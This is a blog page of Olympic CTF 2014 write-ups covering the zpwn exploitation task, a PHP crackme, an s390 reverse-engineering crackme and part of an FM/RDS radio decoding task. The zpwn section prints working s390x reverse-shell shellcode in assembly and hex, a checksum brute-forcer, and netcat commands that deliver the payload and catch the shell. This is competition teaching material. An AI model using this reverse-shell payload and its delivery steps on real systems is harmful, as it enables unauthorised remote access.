Monday, February 10, 2014

Olympic CTF 2014 - zpwn (200)

Intro


The task has been solved by jagger and mak, both members of the Dragon Sector.

It's a typical example of the 'pwn' category. You can download the server-side binary here.

$ file zpwn
zpwn: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.4, BuildID[sha1]=0xe1d81c88df9d4f618417bd2ebd037ea74dd1da97, stripped

The emulator


So, it's a S390/Linux binary. The S390 is a CPU arch created for the IBM System Z machines. Our team's funds were not enough to buy a real IBM System Z :) so we had to use an emulator. And the only viable option at the time was Hercules. After installing the hercules package (it comes with Ubuntu) we also had to install some Linux OS  flavor, and we chose Debian 7.4 (for s390x), even though the original binary seemed to be compiled under SUSE (it left some SUSE specific sections in the zpwn ELF). If you're interested on how to get your own Debian on IBM System Z, please take a look at this excellent step-by-step guide. Configuration and installation process is slow & painful, but once we had the emulator running we thought that we were ready to go...

... but not so fast. The kernel that comes together with Debian 7.4 (3.2.sth) had a nasty bug in the ptrace() kernel-mode implementation, which prevented it from being used with gdb. It threw a few errors and exited when saving registers of the traced process. So, we had to upgrade the kernel with the newest .deb we could find on ze Internets (it's one of the newer Debian builds) and it was one of the 3.12 version releases.

The hercules s390x emulator

Recon


A quick objdump over the binary tells us that it's essentially an echo server, which loops constantly, performing recvfrom(fd, buf, &len, &from) and sendto(fd, buf, len, &from);...... but not only that.... There's this peculiar procedure which computes some sort of hash/CRC over the data sent via the UDP socket (it's an unconnected one, which is important). And, in case this CRC equals to some predefined value, it jumps directly into the buffer mmap'd previously with PROT_READ|PROT_WRITE|PROT_EXEC permission bits. At this point, we started to understand how to obtain RCE. The following disassm shows us the data receiving and hash/CRC computing procedures dumped from the zpwn binary.

  1. ; recvfrom data from the UDP socket into the RWE buffer (address in %r11)
  2. 80000b42:   c0 e5 ff ff fe 51       brasl %r14,800007e4 <recvfrom@plt>
  3. .../* error checking */
  4. ; move RXE mmap'd buffer adress to %r5
  5. 80000b54:    b9 04 00 5b            lgr %r5,%r11
  6. ; ini %r2 with -1
  7. 80000b58:    a7 28 ff ff            lhi %r2,-1
  8. ; copy number of chars in the buffer to %r3
  9. 80000b5c:    b9 04 00 34            lgr %r3,%r4
  10. ; loop until %r3 == 0 (condition at 0x80000b7c)
  11. ; load character from buf[index] to %r1
  12. 80000b60:    43 10 50 00            ic %r1,0(%r5)
  13. ; incement %r5 - now it points to the next char
  14. 80000b64:    41 50 50 01            la %r5,1(%r5)
  15. ; compute CRC/HASH - XORs and SHIFTs mostly
  16. 80000b68:    17 12                  xr %r1,%r2
  17. 80000b6a:    88 20 00 08            srl %r2,8
  18. 80000b6e:    b9 84 00 11            llgcr %r1,%r1
  19. 80000b72:    eb 11 00 02 00 0d      sllg %r1,%r1,2
  20. 80000b78:    57 21 c0 00            x %r2,0(%r1,%r12)
  21. 80000b7c:    a7 37 ff f2            brctg %r3,80000b60
  22. ; if %r2 == -201528 jump to 0x80000bae
  23. 80000b80: c2 2d ff fc ec c8         cfi %r2,-201528
  24. 80000b86: a7 84 00 14               je 80000bae
  25. ....
  26. ; Jump directly to the buffer holding our data (%r11)
  27. 80000bae: 0d eb                     basr %r14,%r11

So, in order to get RCE, we had to provide our shell-code as the UDP echo packet, and make sure that the CRC computed over it will be equal to -201528. The hash itself is 32 bit in size, so it should be trivial to brute-force it. But, we had to develop our shell-code first.

Shellcode


So, the echo was performed over an unconnected UDP socket, and we couldn't use it for our nefarious purposes (it'd require too much coding IMO), so we had to develop sth. that will either bind a socket and listens to our connections or connects back to our server. The following shellcode implements the latter idea (as it's one syscall less to code)

Pseudocode

  1. s = socket(AF_INET, SOCK_STREAM, 0);
  2. connect(s, {IP1.IP2.IP3.IP4/8738}, 16);
  3. dup2(s, 0);
  4. dup2(s, 1);
  5. dup2(s, 2);
  6. execv(“/bin/sh”, NULL, NULL);

I see you're amazed by the quality of the shell-code below :). Well, something that had to be implemented w/o knowing the assembler and its opcodes beforehand. So it's grossly inefficient. Learning new asm on the go is what haxors like the best, no? :) It's also more complicated than it should be because the network syscalls (socket, connect) are implemented on Linux/s390x via the socketcall() multiplexer which takes all args on the stack and not in registers (what would be considerably faster to implement).
  1. asm (  
  2.        "mvi 0(%r15), 0\n"
  3.        "mvi 1(%r15), 0\n"
  4.        "mvi 2(%r15), 0\n"
  5.        "mvi 3(%r15), 0\n"
  6.        "mvi 4(%r15), 0\n"
  7.        "mvi 5(%r15), 0\n"
  8.        "mvi 6(%r15), 0\n"
  9.        "mvi 7(%r15), 2\n" ; AF_INET
  10.        "mvi 8(%r15), 0\n"
  11.        "mvi 9(%r15), 0\n"
  12.        "mvi 10(%r15), 0\n"
  13.        "mvi 11(%r15), 0\n"
  14.        "mvi 12(%r15), 0\n"
  15.        "mvi 13(%r15), 0\n"
  16.        "mvi 14(%r15), 0\n"
  17.        "mvi 15(%r15), 1\n" ; SOCK_STREAM
  18.        "mvi 16(%r15), 0\n"
  19.        "mvi 17(%r15), 0\n"
  20.        "mvi 18(%r15), 0\n"
  21.        "mvi 19(%r15), 0\n"
  22.        "mvi 20(%r15), 0\n"
  23.        "mvi 21(%r15), 0\n"
  24.        "mvi 22(%r15), 0\n"
  25.        "mvi 23(%r15), 0\n" ; IPPROTO_IP
  26.        "la %r3,0(%r15)\n"
  27.        "la %r2, 1\n"
  28. "la %r1, 102\n"
  29. ; socketcall - SYS_SOCKET(AF_INET(2), SOCK_STREAM(1), IPPROTO_IP(0));
  30.        "svc 102\n"
  31.        "lgr %r6, %r2\n"

  33.        "mvi 64(%r15), 0\n"
  34.        "mvi 65(%r15), 2\n" ; AF_INET
  35.        "mvi 66(%r15), 34\n" ; port (8738 = (34*256)+34)
  36.        "mvi 67(%r15), 34\n"
  37.        "mvi 68(%r15), D\n" ; our IP
  38.        "mvi 69(%r15), C\n"
  39.        "mvi 70(%r15), B\n"
  40.        "mvi 71(%r15), A\n"

  42.        "stg %r6, 0(%r15)\n"
  43.        "la  %r4, 64(%r15)\n"
  44.        "stg %r4, 8(%r15)\n"
  45.        "mvi 16(%r15), 0\n"
  46.        "mvi 17(%r15), 0\n"
  47.        "mvi 18(%r15), 0\n"
  48.        "mvi 19(%r15), 0\n"
  49.        "mvi 20(%r15), 0\n"
  50.        "mvi 21(%r15), 0\n"
  51.        "mvi 22(%r15), 0\n"
  52.        "mvi 23(%r15),16\n" ; sizeof(struct sockaddr_in)

  54.        "la %r3,0(%r15)\n"
  55.        "la %r2, 3\n"
  56. "la %r1, 102\n"
  57. ; socketcall - SYS_CONNECT(fd, {AF_INET, "A.B.C.D", "8738"}, 16);
  58.        "svc 102\n"

  60.        "la %r1,63\n"
  61.        "lgr %r2,%r6\n"
  62.        "la %r3,0\n"
  63. ; dup2(fd, 0);
  64.        "svc 63\n"

  66. "la %r1,63\n"
  67.        "lgr %r2,%r6\n"
  68.        "la %r3,1\n"
  69. ; dup2(fd, 1);
  70.        "svc 63\n"

  72. "la %r1,63\n"
  73.        "lgr %r2,%r6\n"
  74.        "la %r3,2\n"
  75. ; dup2(fd, 2);
  76.        "svc 63\n"

  78. "mvi 0(%r15),'/'\n"
  79. "mvi 1(%r15),'b'\n"
  80. "mvi 2(%r15),'i'\n"
  81. "mvi 3(%r15),'n'\n"
  82. "mvi 4(%r15),'/'\n"
  83. "mvi 5(%r15),'s'\n"
  84. "mvi 6(%r15),'h'\n"
  85. "mvi 7(%r15),0\n"
  86.        "la %r1,11\n"
  87.        "lgr %r2,%r15\n"
  88.        "la %r3,0\n"
  89.        "la %r4,0\n"
  90. ; execve("/bin/sh", 0, 0);
  91. "svc 11\n"
  92. );


In hex it looks like the following (modulo our IP which is represented by IP1..IP4 bytes).

  1. "\x92\x00\xf0\x00\x92\x00\xf0\x01\x92\x00\xf0\x02\x92\x00\xf0\x03"
  2. "\x92\x00\xf0\x04\x92\x00\xf0\x05\x92\x00\xf0\x06\x92\x02\xf0\x07"
  3. "\x92\x00\xf0\x08\x92\x00\xf0\x09\x92\x00\xf0\x0a\x92\x00\xf0\x0b"
  4. "\x92\x00\xf0\x0c\x92\x00\xf0\x0d\x92\x00\xf0\x0e\x92\x01\xf0\x0f"
  5. "\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00\xf0\x13"
  6. "\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x00\xf0\x17"
  7. "\x41\x30\xf0\x00\x41\x20\x00\x01\x41\x10\x00\x66\x0a\x66\xb9\x04"
  8. "\x00\x62\x92\x00\xf0\x40\x92\x02\xf0\x41\x92\x22\xf0\x42\x92\x22"
  9. "\xf0\x43\x92\IP1\xf0\x44\x92\IP2\xf0\x45\x92\IP3\xf0\x46\x92\IP4"
  10. "\xf0\x47\xe3\x60\xf0\x00\x00\x24\x41\x40\xf0\x40\xe3\x40\xf0\x08"
  11. "\x00\x24\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00"
  12. "\xf0\x13\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x10"
  13. "\xf0\x17\x41\x30\xf0\x00\x41\x20\x00\x03\x41\x10\x00\x66\x0a\x66"
  14. "\x41\x10\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x00\x0a\x3f\x41\x10"
  15. "\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x01\x0a\x3f\x41\x10\x00\x3f"
  16. "\xb9\x04\x00\x26\x41\x30\x00\x02\x0a\x3f\x92\x2f\xf0\x00\x92\x62"
  17. "\xf0\x01\x92\x69\xf0\x02\x92\x6e\xf0\x03\x92\x2f\xf0\x04\x92\x73"
  18. "\xf0\x05\x92\x68\xf0\x06\x92\x00\xf0\x07\x41\x10\x00\x0b\xb9\x04"
  19. "\x00\x2f\x41\x30\x00\x00\x41\x40\x00\x00\x0a\x0b\x6d\x6f\x85\x48"
  20. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  21. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  22. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  23. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  24. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 You may ask, why so many "A"s at the end of the shell-code? The answer is, that there was some peculiar routing problem between our team's machines and the CTF setup, that prevented delivering UDP packets of sizes between ca. 120 and 520 bytes (tested from a few networking locations), so we had to artificially extend it to >600 bytes. Wicked, we know! But well :)

CRC


 Now, we have our shellcode, but the CRC over it will not be the magic value, so let's append it with 4 bytes of data, and brute-force it. We need to get 0xfffcecc8 (-201528) in the result (%r2) register, and as this CRC goes sequentially over data in the buffer we can pre-compute the hash for the original shell-code payload, it'll make the whole procedure much quicker (here represented by uint64_t st = 0xffffffff8ec7938c). It's possible to represent it in pure C, and although it's quite easily doable giving, "more-or-less",....
while(%r3--) { %r1 = input ^ %2; %r2 = (%r2>>8) ^ (0x80000d7c[(%r1 & 0xff) << 2]; input++}

... hackers gonna hack, so we simply replicated the original code with asm inlines:
  1. #include <stdio.h>
  2. #include <stdint.h>
  3. #include <stdlib.h>
  4. int main(void) {
  5. uint64_t st = 0xffffffff8ec7938c;  // Initial CRC of our SC
  6. uint64_t comp;
  7. uint8_t sc[4];
  8. uint32_t *p2 = sc;
  9. // 1kB of data from the zpwn binary, dumped with gdb's
  10. // "dump binary memory", it's used by the CRC algorithm
  11. // as a random data table (addr held in %r12)
  12. uint8_t *tablica =       
  13. "\x00\x00\x00\x00\x77\x07\x30\x96\xee\x0e\x61\x2c\x99\x09\x51\xba"
  14. ......
  15. "\xb4\x0b\xbe\x37\xc3\x0c\x8e\xa1\x5a\x05\xdf\x1b\x2d\x02\xef\x8d"
  16. "\x01";

  18. sc[0] = 0;
  19. sc[1] = 0;
  20. sc[2] = 0;
  21. sc[3] = 0;

  23. uint64_t cnt = 0;
  24. for(;;) {
  25. cnt++;
  26. *p2 = (*p2)++;

  28. asm(
  29. " lgr %%r2, %1\n"
  30. " lgr %%r5, %2\n"
  31. " lgr %%r12, %3\n"
  32. " la  %%r3, 4\n"
  33. " la  %%r1, 0\n"
  34. "label1:\n"
  35. " ic %%r1,0(%%r5)\n"
  36. " la %%r5,1(%%r5)\n"
  37. " xr %%r1,%%r2\n"
  38. " srl %%r2,8\n"
  39. " .long 0xb9840011\n" ; llgrc %r1, %r1
  40. " sllg %%r1,%%r1,2\n"
  41. " x %%r2,0(%%r1,%%r12)\n"
  42. " brctg %%r3,label1\n"
  43. " lgr %0, %%r2\n"
  44. : "=r" (comp)
  45. : "r" (st), "r" (sc), "r" (tablica)
  46. : "r1", "r2", "r3", "r5", "r12"
  47. );

  49. if (comp == 0xfffcecc8 || comp == 0xfffffffffffcecc8) {
  50. // GOTCHA
  51. printf("==> %hhx %hhx %hhx %hhx\n", sc[0], sc[1], sc[2], sc[3]);
  52. printf("==> %x\n", *p2);
  53. break;
  54. }
  55. if ((cnt % 1000000) == 0) {
  56. printf("CNT: %llu\n", cnt);
  57. }
  58. }
  59. return 0;
  60. }

 After the not-so-quick brute-forcing session (~30 min.) using the emulator, we got the last 4 bytes of the payload ("\x42\x82\xe7\xc5") for this specific shell-code.


PWN


 Now, let's save the shell-code as a file, append those 4 bytes, and send it using netcat.

 # Client
$ cat sc | nc -u <serverip> 31337

 # Listen on server for the back-connect
$ nc -l -v 8738
Connection from 109.233.61.11 port 8738 [tcp/*] accepted
id
uid=1000(zpwn) gid=1000(zpwn) groups=1000(zpwn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

 Voila! Let's grab the flag (from flag.txt) and move over to other tasks.
Posted by at No comments:

Olympic CTF 2014 - Welcome To Forensics (500)

"Welcome To Forensics" or WTF for short (and believe us when we say that the name is most fitting) was a stegano/forensics/crackme challenge on the Olympic CTF Sochi 2014, which was organized by the MSLC. On behalf of the Dragon Sector this task was solved by gynvael and mak.

We were given a 46KB WTF.BIN file which looked like nothing in particular:

And let's be honest by saying that we had no idea what to do with it until a hint was published some hours later.

The hint basically said "look at 0x4525". At that offset there were three characters that basically revealed what this task is about:

<?#

Yes, this is PHP.

While it seems hard to believe, running this binary randomness in the PHP interpreter doesn't throw any errors (just noticed; note: in php.ini the short_open_tags needs to be enabled). Looking deeper into it one starts to notice a schema - everything is separated into lines and each line has some PHP code which is followed by a line comment sign (either # or //) and a lot of binary trash. The funny thing is that the PHP code also looks like binary randomness since PHP allows names to be non-ASCII and even promotes some of them to constant strings. For example (yellow = PHP code, violet = comment start):

Please note that the markings might be incorrect, but it should give you the general idea.

Instead of trying to deobfuscate this we decided to start with a trace using Xdebug's trace options and asked it to dump the parameters of called functions as well as the returned values. We got the following output:

So this basically gave us a BASIC-looking-but-still-PHP crackme (see Appendix A at the bottom for full source).

To find the answer we used Z3 (see Appendix B) which quickly found that the flag is:

QB4SIC_f0rever!!

To sum up, starting was the hard part in this task - the rest was rather simple if one had the correct tools (Xdebug, Z3).



Appendix A - crackme

eval('FUNCTION FUNCTI0N($PARAMETER) { 
/* ' OMFG A FUNCTION !!! */ 
IF (STRLEN($PARAMETER) <> 16): 
RETURN FALSE; 
ENDIF; 
DIM; $ARRAY = ARRAY(); 
FOR ($I = 1; $I <= STRLEN($PARAMETER); $I++): 
$ARRAY[$I] = ORD(SUBSTR($PARAMETER, $I - 1, 1)); 
ENDFOR; 
IF ((($ARRAY[3] * $ARRAY[6]) ^ ($ARRAY[2] * $ARRAY[2])) - 7320): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[11] * $ARRAY[14]) ^ ($ARRAY[9] * $ARRAY[11])) - 15882): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[14] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[4])) - 11789): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[1] * $ARRAY[9]) ^ ($ARRAY[8] * $ARRAY[9])) - 7184): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[13] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[11])) - 10366): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[9] * $ARRAY[4]) ^ ($ARRAY[4] * $ARRAY[2])) - 6902): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[13] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[16]))): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[14] * $ARRAY[6]) ^ ($ARRAY[6] * $ARRAY[1])) - 2277): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[10] * $ARRAY[9]) ^ ($ARRAY[16] * $ARRAY[15])) - 4385): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[2] * $ARRAY[7]) ^ ($ARRAY[1] * $ARRAY[10])) - 15468): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[3] * $ARRAY[14]) ^ ($ARRAY[6] * $ARRAY[15])) - 8075): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[5] * $ARRAY[10])) - 11550): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[5] * $ARRAY[3]) ^ ($ARRAY[9] * $ARRAY[8])) - 7668): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[12] * $ARRAY[1])) - 3032): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[7] * $ARRAY[4]) ^ ($ARRAY[8] * $ARRAY[13])) - 14067): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[7] * $ARRAY[7])) - 11997): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[12] * $ARRAY[11]) ^ ($ARRAY[5] * $ARRAY[8])) - 13208): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[5] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[13])) - 11282): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[2] * $ARRAY[12]) ^ ($ARRAY[13] * $ARRAY[2])) - 1126): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[8] * $ARRAY[15]) ^ ($ARRAY[9] * $ARRAY[2])) - 326): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[5] * $ARRAY[11]) ^ ($ARRAY[15] * $ARRAY[12])) - 5115): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[16] * $ARRAY[2]) ^ ($ARRAY[15] * $ARRAY[7])) - 1213): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[1] * $ARRAY[16])) - 9471): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[6] * $ARRAY[16]) ^ ($ARRAY[1] * $ARRAY[3])) - 6359): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[16] * $ARRAY[5]) ^ ($ARRAY[14] * $ARRAY[9])) - 7177): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[14] * $ARRAY[10]) ^ ($ARRAY[10] * $ARRAY[1])) - 5846): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[4] * $ARRAY[3]) ^ ($ARRAY[13] * $ARRAY[12])) - 15954): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[8] * $ARRAY[8]) ^ ($ARRAY[1] * $ARRAY[14])) - 3254): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[4] * $ARRAY[15]) ^ ($ARRAY[7] * $ARRAY[8])) - 12137): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[3] * $ARRAY[10]) ^ ($ARRAY[5] * $ARRAY[4])) - 131): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[5] * $ARRAY[4]) ^ ($ARRAY[6] * $ARRAY[10])) - 2685): 
RETURN FALSE; 
ENDIF; 
IF ((($ARRAY[11] * $ARRAY[12]) ^ ($ARRAY[10] * $ARRAY[14])) - 7242): 
RETURN FALSE; 
ENDIF; 
RETURN "YES, $PARAMETER"; 
} 

RETURN TRUE;')


Appendix B (z3 solution by mak)

from z3 import *
array = [ BitVec('a%i'%i,8) for i in range(0,17)]


s = Solver()
s.add(((array[3] * array[6]) ^ (array[2] * array[2])) == 7320)
s.add(((array[11] * array[14]) ^ (array[9] * array[11])) == 15882)
s.add(((array[14] * array[15]) ^ (array[11] * array[4])) == 11789) 
s.add(((array[1] * array[9]) ^ (array[8] * array[9])) == 7184) 
s.add(((array[13] * array[16]) ^ (array[7] * array[11])) == 10366) 
s.add(((array[9] * array[4]) ^ (array[4] * array[2])) == 6902)          
s.add(((array[13] * array[15]) ^ (array[11] * array[16])) == 0)
s.add(((array[14] * array[6]) ^ (array[6] * array[1])) == 2277) 
s.add(((array[10] * array[9]) ^ (array[16] * array[15])) == 4385) 
s.add(((array[2] * array[7]) ^ (array[1] * array[10])) == 15468) 
s.add(((array[3] * array[14]) ^ (array[6] * array[15])) == 8075) 
s.add(((array[6] * array[3]) ^ (array[5] * array[10])) == 11550) 
s.add(((array[5] * array[3]) ^ (array[9] * array[8])) == 7668) 
s.add(((array[13] * array[12]) ^ (array[12] * array[1])) == 3032) 
s.add(((array[7] * array[4]) ^ (array[8] * array[13])) == 14067) 
s.add(((array[6] * array[3]) ^ (array[7] * array[7])) == 11997) 
s.add(((array[12] * array[11]) ^ (array[5] * array[8])) == 13208) 
s.add(((array[5] * array[16]) ^ (array[7] * array[13])) == 11282) 
s.add(((array[2] * array[12]) ^ (array[13] * array[2])) == 1126) 
s.add(((array[8] * array[15]) ^ (array[9] * array[2])) == 326) 
s.add(((array[5] * array[11]) ^ (array[15] * array[12])) == 5115) 
s.add(((array[16] * array[2]) ^ (array[15] * array[7])) == 1213) 
s.add(((array[13] * array[12]) ^ (array[1] * array[16])) == 9471) 
s.add(((array[6] * array[16]) ^ (array[1] * array[3])) == 6359) 
s.add(((array[16] * array[5]) ^ (array[14] * array[9])) == 7177) 
s.add(((array[14] * array[10]) ^ (array[10] * array[1])) == 5846) 
s.add(((array[4] * array[3]) ^ (array[13] * array[12])) == 15954) 
s.add(((array[8] * array[8]) ^ (array[1] * array[14])) == 3254) 
s.add(((array[4] * array[15]) ^ (array[7] * array[8])) == 12137) 
s.add(((array[3] * array[10]) ^ (array[5] * array[4])) == 131) 
s.add(((array[5] * array[4]) ^ (array[6] * array[10])) == 2685) 
s.add(((array[11] * array[12]) ^ (array[10] * array[14])) == 7242) 

for i in range(1,17):
    s.add(array[i] >= 32 and array[i] <= 126)

print s.check()
print s.model()
Posted by at 4 comments:

Olympic CTF 2014 - zbin (RE 500)

The zbin task was a simple reverse-engineering/crackme challenge on the Olympic CTF Sochi 2014, which was organized by the MSLC. We've used the word "simple" as the application itself was indeed simple (from our narrow point of view); what made the task worth 500 points was the unusual platform it run on - 64-bit GNU/Linux (SuSE) running on an IBM's s390 CPU. On behalf of the Dragon Sector this task was solved by gynvael with aid from jagger and mak.

The first step was to be able to run and disassemble the binary - the last part turned out to be problematic as the usual tool of our trade - IDA - doesn't support the s390. We ended up creating the following setup:

  • qemu-s390x + dynamic libraries extracted from SuSE s390x RPMs - this was used to run zbin on our local machines. We also tried to use s390x gdb this way to debug the app, but it turned out that some required syscall (ptrace probably) was not supported by qemu-s390x and it just didn't work (we also tried remote connecting s390x gdb to qemu's gdb server, but it turned out not to work at all either). Still, qemu has some tracing capabilities and we did play a little with these.
  • Debian on s390x emulator - we used this to solve zpwn and re-used it for gdb/ltrace/objdump for this task as well; you can read more about this setup in our zpwn write-up: olympic-ctf-2014-zpwn-200.
Surprisingly, we also used IDA, but only to get a general view of the binary and C++ name demangling.


Recon phase

We started with the basics - strings and objdump for disassembly. In the string dump we've spotted two interesting things:

  • zlib's inflateInit/inflate/inflateEnd - we followed up by looked for high-entropy area and then for a zlib/DEFLATE magic, and we did find it at 0x30F0:
    After extracting it and inflating we got a 7MB English wordlist with 670204 entries.
  • "Correct! Use MD5 now." - a hint that the final flag will be the MD5 of whatever is the solution to this crackme. Given the wordlist above, we guessed it would probably have to be an MD5 of a word from that dictionary.


The dead-listing, SIGABRT and the hash

We then focused on the disassembler output itself. Since it was kinda hard to read we decided to take some time and create a Python script that would append a description of every s390 assembly mnemonic in the same line as a given instruction - in the long run this saved us quite a lot of time looking up all the s390 weirdness in the manuals. The final disassembly form we've worked:

After a brief analysis of the code (which did take some time since we were not familiar with the s390's huge instruction set) we were able to pinpoint main(), the decompression of the wordlist and checking if enough parameters were provided (+feeding the first one into strtol). And here is where we got lucky - we decided to run the application with some numbers (123456789) and look for them under the debugger, but before we ever got to that we spotted a SIGABRT being raised:

And then it "clicked" - we partly-deduced and partly-guessed that we need to provide the index of the word in the dictionary and then there will be some-kind-of-a-hash-check, and, if it passes, the message "Correct! Use MD5 now." will be displayed. So we put aside other ideas and began looking for the hash check (going backwards from the string reference).

We found the hashing function quite quickly and it turned out to be really short. We also found the expected value - 619767641. We decided to just calculate the hash (we ported the hashing function to Python) of every word in the dictionary and see if there are any matches vs the expected value. The code that does this:

import md5
d = open("oooo", "rb").read().split("\n")

def fix(x):
  return x & 0xffffffff

def calc(w):
  r3 = 0
  r5 = 0
  for ch in w:
    r2 = ord(ch)
    r2 += r3
    r2 = fix(r2)
    r1 = r2
    r1 = r1 << 10 # or 10
    r1 += r2
    r1 = fix(r1)

    r3 = r1
    r3 = r3 >> 6
    r3 ^= r1
    r5 += 1

  r1 = r3
  r1 = r1 << 3
  r1 += r3
  r1 = fix(r1)
  r3 = r1
  r3 = r3 >> 11
  r3 ^= r1
  r2 = r3
  r2 = r2 << 15
  r2 += r3
  r2 = fix(r2)
  return r2

i = 0
for w in d:
  w = w.strip()
  h = calc(w)
  # Not sure it the constant is hex or dec lol.
  if h == 619767641 or h == 0x619767641:
    print i, w, h, md5.md5(w).hexdigest()
  i += 1

Shortly after we run this we found exactly one match (format: index word hash md5_of_word):

592405 thymicolymphatic 619767641 6b30ce0743be6b6530ecbdb8c6c414bd

And, after adding CTF{...}, it turned out to be the correct flag.

To sum up, as one can see we didn't have to analyze the task too deeply - did in fact skipped 90% of analysis of its logic - this was mostly due to the lucky verbose SIGABRT. All in all it was a really fun task on an interesting and unusual platform.

Posted by at 5 comments:

Sunday, February 9, 2014

Olympic CTF 2014 - Illegal Radio



“Illegal Radio” was a task from the Freestyle category of the first edition of Olympic CTF. We were given a 5759712-sample FLAC file named “OLYMPIC-CTF.FM - 133.37MHz - IQ_Data.”.

The first step was to load this file into GNU Radio, a free/libre signal analysis and (de)modulation tool. The name of the file suggested that it was a quadrature-encoded signal captured at 133.37 MHz, probably of an FM radio transmission. I started out by adding a WAV Source block, a float-to-complex block and a waterfall plot.

Basic waterfall plot rendering pipeline.
Waterfall plot of source signal.
Nothing too terribly interesting there. Well, let's try to feed that into a WBFM (wideband frequency modulation) decoder and see what we get out of that.
FM decoding pipeline.
Decoded FM signal.
Now we're talking! Let's compare this to a FM signal spectrum description from Wikipedia:
Traditional FM radio spectrum.
We can clearly see that these match perfectly. We have mono at the baseband, a 19kHz pilot signal, stereo audio at 23-53kHz (DSB-SC at 38kHz == 2x 19kHz), and an R(B)DS signal at 57kHz (== 3x 19kHz).

The first thing to do was to decode the actual audio - maybe the flag is there? For mono audio, we can just apply a low-pass filter with a treshold of 15kHz. For stereo, however, we have to build a more complicated pipeline. First we bandpass the 19kHz pilot with some additional gain. We then take that pilot, and multiply it twice with the bandpassed stereo audio to get the demodulated stereo channel. Then, we add the mono audio with the stereo channel to get the resulting left channel, and we subtract them for the right channel.

Mono & really awful stereo decoding.
Well, we got some interesting chiptune out of that, but nothing that sounds like a flag. What's really left is the RDS band. If you're not familiar with FM radio, RDS is the data transmission system that delivers in-band notifications to your radio receiver, eg. displays program and station information.

After grabbing an RDS specification from 1998 (probably the worst specification I've ever laid my eyes on) I understood that the physical layer of RDS is a BPSK (binary phase-shift keying) bitstream at 1187.5 bits per second, which is then to be decoded differentially and broken up into 104-bit frames. Each PSK symbol (in this case, a bit, since we're dealing with binary PSK) is sent every 48 cycles of the 57 kHz subcarrier.

Since I wasn't able to get the built-in GNU Radio PSK decoder to work, I decided to export the RDS band into a file and decode it in a Python script. I decided to lowpass the RDS bitstream at 2.2kHz (thus getting only the modulated waveform at 1187.5 Hz, without the 57kHz carrier) and export it to a wave file.
Exporting the RDS waveform.
Resulting waveform. I can see data!
Now, since we're dealing with binary PSK, there are only two phase states we have to deal with: 0 degrees and 180 degrees. We were dealing with a pretty stable clock, so I decided that my Python script would just sample every 48th frame from the wave file and try to figure out whether we were in one phase shift or the other. This amounted to checking if the sample was larger than zero - if it was, we emitted a logical 1, otherwise we emitted a logical 0. While naive, this approached seemed to sample the waveform in a sufficiently stable manner. I fed this into a differential decoder (previous_sample XOR current_sample) and got a bitstream.
Decoding differential BPSK into a bitstream.
Now, we'll need to somehow make sense of this data. As stated earlier, the RDS bitstream is a constrant stream of 104-bit frames. These frames are made out of four groups of 26 bits. Each group carries 16 bits of data and 10 bits of checksum (which also carries information on the group we're dealinjg with). The groups are called A, B, C( or C') and D respectively, and they need to be in this order for a frame to be valid. According to the specification, the only way to synchronize the bitstream to frame boundary is to keep trying until we get something that seems to checksum properly - what the hell..?

